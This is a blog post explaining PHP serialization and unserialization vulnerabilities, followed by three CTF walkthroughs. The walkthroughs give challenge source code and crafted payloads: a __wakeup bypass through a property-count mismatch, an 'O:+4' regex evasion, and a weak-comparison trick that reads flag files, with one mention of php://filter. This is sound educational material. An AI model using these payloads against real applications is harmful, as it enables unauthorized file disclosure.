banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Learning PHP Unserialization

Cause of the Matter#

Recently, I impulsively bought a high-spec desktop, and after upgrading the memory to 32G, I felt the urge to write that article about the internal network proxy. Let's take it slow.

As the title suggests, I've been filling in the gaps lately, learning about vulnerabilities that I've heard about but never reproduced, and I'm preparing to start batch brushing SRC.

If there are any good techniques for batch brushing SRC, I will share them as well.

This article will start with PHP unserialization to briefly introduce the concepts of serialization, unserialization, and unserialization vulnerabilities, along with some examples.

Environment Setup#

First, I still recommend the editor vsc (visual studio code).

Then, you need a php environment, and you can directly use various integrated environments like wampp or xampp.

I am still using phpstudy pro, which comes with the default installation of php7.

After installation, reopen vsc, and create a new index.php file in the root directory of phpstudy.

vsc will automatically help you find the registered php path on the system. Format the code quickly in the file by pressing shift + alt + f, and it will prompt you that the php formatting tool is not installed; just click to install the first one.

Start Apache, and write a simple script:

<?php echo "hello world!";

Access 127.0.0.1 in your browser, and you now have a php environment.

Concept Learning#

What is serialization?

PHP provides methods for serialization to save and dump objects. PHP serialization is generated to dump objects during the program's execution. Serialization can convert an object into a string while retaining only the member variables of the object, not the function methods.

To summarize serialization and unserialization in one sentence: Serialization is converting an object into a string, and unserialization is converting a string back into an object.

Let's explain this briefly by creating a piece of code:

<?php

class Student
{
    public $name = "studentone";
    function getName()
    {
        return "soapffz";
    }
    function __construct()
    {
        echo "__construct";
        echo "</br>";
    }
}
$s = new Student();
echo $s->getName() . "</br>";

This is a normal method call of a class:

image

So, what does serialization mean? Let's add a piece of code at the end:

//serialize function converts an object into a string
$s_serialize = serialize($s);
print_r($s_serialize);

The output is: O:7:"Student":1:{s:4:"name";s:10:"studentone";}

The explanation of this serialized string is as follows:

  • O: This is an object type
  • 7: The length of the object name is 7
  • Student: Object name
  • 1: The object contains one key-value pair
  • s: The key type is a string
  • 4: The key name length is 4
  • name: Key name

The rest follows suit. Of course, my interpretation may not be very accurate; it's recommended to check how the official documentation explains it.

This is a serialization process that converts all types and contents of this object into a simple formatted string data.

Now let's look at the unserialization process:

<?php
$Student = 'O:7:"Student":1:{s:4:"name";s:10:"studentone";}';
$s_unserialize = unserialize($Student);
print_r($s_unserialize);
echo "</br>";

The output is: Student Object ( [name] => studentone )

This is the unserialization process, converting a standard string containing types and data back into an object.

Common magic methods in objects are as follows:

  • __construct: Initializes the object when it is created, generally used to assign initial values to variables.

  • __destruct: The opposite of the constructor, executed when the function containing the object has finished executing.

  • __toString: Called when the object is used as a string.

  • __sleep: Called before serializing the object (it returns an array).

  • __wakeup: Called before restoring the object during unserialization.

  • __call: Automatically called when a method that does not exist in the object is called.

  • __get: Automatically executed when accessing private properties.

  • isset() triggers when calling isset() or empty() on inaccessible properties unset() triggers when using unset() on inaccessible properties.

It is important to note that this string must match one-to-one.

For example, if the object indicates that it has only one key-value pair (1), but two key-value pairs are written later, it cannot complete the unserialization correctly. This is also the key to bypassing the __wakeup() function in later unserialization vulnerabilities.

__wakeup() Function Vulnerability#

The above introduced the basic concepts of serialization and unserialization. Next, let's introduce the core of PHP unserialization vulnerabilities with an example (so far, I have only encountered this function).

<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}

$s = new Student();
var_dump(serialize($s));
  • The final output on the page is the serialized output of the Student object:

  • O:7:"Student":3:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

  • The number 3 after the Student class indicates that the Student class has 3 properties.

  • The wakeup() vulnerability is related to the total number of properties. When the number of properties represented by the serialized string is greater than the actual number of properties, the execution of wakeup is skipped.

  • When we modify the number of properties in the serialized string to 5, it becomes:

  • O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}

  • The final running code is as follows:

<?php
class Student
{
    public $full_name = 'zhangsan';
    public $score = 150;
    public $grades = array();

    function __wakeup()
    {
        echo "__wakeup is invoked";
    }
    function __destruct()
    {
        var_dump($this);
    }
}

$s = new Student();
$stu = unserialize('O:7:"Student":5:{s:9:"full_name";s:8:"zhangsan";s:5:"score";i:150;s:6:"grades";a:0:{}}');
echo $stu;

image

CTF Example 1#

From the Attack and Defense World -> Web Advanced Area -> Web_php_unserialize

image

The source code displayed on the webpage is as follows:

<?php
class Demo
{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {
        @unserialize($var);
    }
} else {
    highlight_file("index.php");
}

Code Explanation:

  • As you can see, this code generates class functions that are not much different from the simple example above:

  • __construct(), automatically called during creation, overrides $file with the obtained parameter.

  • __destruct(), called during destruction, will display the code of the file, here it needs to display fl4g.php.

  • __wakeup(), called during unserialization, will reset $file to index.php.

  • In the Demo class, there are three methods: one constructor, one destructor, and one magic method. The constructor **construct() assigns initial values to variables at the start of program execution. The destructor **destruct() is automatically called after the function containing the object has finished executing, which will highlight the file.

  • To serialize the Demo class, base64 encode it and assign it to the var variable for GET parameter passing.

  • If a class defines wakeup() and destruct(), the instance of that class will automatically call wakeup() during unserialization, and destruct() will be called when the lifecycle ends.

  • In PHP versions < 5.6.25 and PHP7 < 7.0.10, there is a vulnerability in wakeup. When the number of objects during unserialization does not match the previous count, wakeup will be bypassed.

  • Regular expressions can be used to bypass with a plus sign, that is O:4, we can use O:+4 to bypass.

  • The isset() function is used to check if a variable is set and is not NULL.

  • If a variable has been released using unset(), checking with isset() will return FALSE.

  • If isset() tests a variable set to NULL, it will return FALSE.

  • It is also important to note that the null character ("\0") is not equivalent to PHP's NULL constant.

  • PHP version requirements: PHP 4, PHP 5, PHP 7.

Add the following code after the source code:

$a = new Demo("fl4g.php");
$a = serialize($a);
echo $a;
//O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
$a = str_replace('O:4', 'O:+4', $a);
$a = str_replace('1:{', '2:{', $a);
echo $a;
//O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
echo base64_encode($a);
//TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

Here is a pitfall: note that the fourth line of the code has the file variable as a private variable, so the serialized string has a whitespace character at the beginning and end (i.e., %00), and the string length is also 2 greater than the actual length. If you copy the serialized result to an online base64 site for encoding, it may lose the whitespace characters, so here we directly encode it in php code. Similarly, protected type variables will also have %00*%00 added at the beginning of the serialized string.

Finally, directly access your target address/index.php?var=TzorNDoiOiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

to get the flag.

image

CTF Example 2#

From the Attack and Defense World -> Web Advanced Area -> unserialize3

image

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

Open the website, and there is just this piece of code. We need to bypass the __wakeup function, and the result of ?code= needs to pass the serialized value to code.

First, instantiate the xctf class and serialize it (here we instantiate the xctf class as the object test).

<?php
class xctf
{                      // Define a class named xctf
    public $flag = '111';            // Define a public class property $flag with a value of 111
    public function __wakeup()
    {      // Define a public class method __wakeup() that outputs bad requests and exits the current script
        exit('bad requests');
    }
}
$test = new xctf();           // Use the new operator to instantiate the class (xctf) as the object test
echo (serialize($test));       // Output the serialized object (test)
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  • We need to unserialize the xctf class while bypassing the execution of the wakeup method (if we do not bypass the wakeup() method, it will output bad requests and exit the script). The principle of the wakeup() function vulnerability is that when the number of properties represented by the serialized string is greater than the actual number of properties, the execution of wakeup is skipped. Therefore, we need to modify the number of properties in the serialized string:

  • When we change the number of properties in the serialized string from the actual value of 1 to 2, it looks like this:

  • O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  • Access the URL: ?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

  • You can obtain the flag.

image

CTF Example 3#

From the 2020 Wangding Cup Qinglong Group WEB problem AreUSerialz, which can be found in ctfhub target.

<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
{
    protected $op;
    protected $filename;
    protected $content;
    function __construct()
    {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } else if ($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write()
    {
        if (isset($this->filename) && isset($this->content)) {
            if (strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if ($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s)
    {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct()
    {
        if ($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}
function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++)
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}
if (isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

Again, let's look at the last part of the code:

if (isset($_GET{'str'})) {
    $str = (string)$_GET['str'];
    if (is_valid($str)) {
        $obj = unserialize($str);
    }
}

The GET parameter str calls the is_valid() method for validation. If it meets the conditions, it will perform the unserialization operation on the string. Now let's take a look at is_valid()

function is_valid($s)
{
    for ($i = 0; $i < strlen($s); $i++)
        if (!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

It checks the ASCII code of each character in the input parameter, which must fall within [32,125], meaning it checks if it is a visible character; otherwise, it returns false, and the unserialization operation will not proceed. Now let's look at the __destruct method.

function __destruct()
    {
        if ($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

If op==="2", it will be assigned "1", and content will be set to empty, entering the process function.

It is important to note that here, op is compared with "2" using strict comparison.

  • === strict comparison checks if the types of the two strings are equal before comparing.

  • == weak comparison converts the characters to the same type before comparing (if the comparison involves numeric content strings, the strings will be converted to numbers and compared based on the converted values).

public function process()
    {
        if ($this->op == "1") {
            $this->write();
        } else if ($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

In the process function, if op=="1", it will enter the write function; if op=="2", it will enter the read function; otherwise, it will output an error. Here, the comparison of op with the string becomes weak comparison ==.

So we just need to set op=2, where 2 is an integer int. When op=2, op==="2" will be false, and op=="2" will be true, then it will enter the read function.

private function read()
    {
        $res = "";
        if (isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

filename is something we can control, and we can use the file_get_contents function to read the file, directly reading flag.php. Sometimes it may also test PHP pseudo-protocols; if you encounter situations that test PHP pseudo-protocols, just change the following flag.php to:

php://filter/read=convert.base64-encode/resource=flag.php

However, this question does not test pseudo-protocols, and after obtaining the file, it will be output using the output function.

The whole exploitation idea is quite clear. Another thing to note is that the variables $op, $filename, and $content are all protected, and protected variables will have %00*%00 characters during serialization, and the %00 character's ASCII code is 0, which will fail the validation in the is_valid function.

Now let's generate the serialized string by changing $filename to the file we want to read:

<?php
class FileHandler
{

    protected $op=2;
    protected $filename="flag.php";
    protected $content="";
}

$ff=new FileHandler();
echo serialize($ff);

It generates:

O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:8:"flag.php";s:10:"*content";s:0:"";}

It is important to note that protected type member variables will generate %00 during serialization, which will be flagged as false. PHP 7 is not sensitive to class properties, so we can change them to public type.

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

At this point, we can pass parameters:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}

Right-click to view the source code of the webpage to obtain the flag:

image

Reference Articles:

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.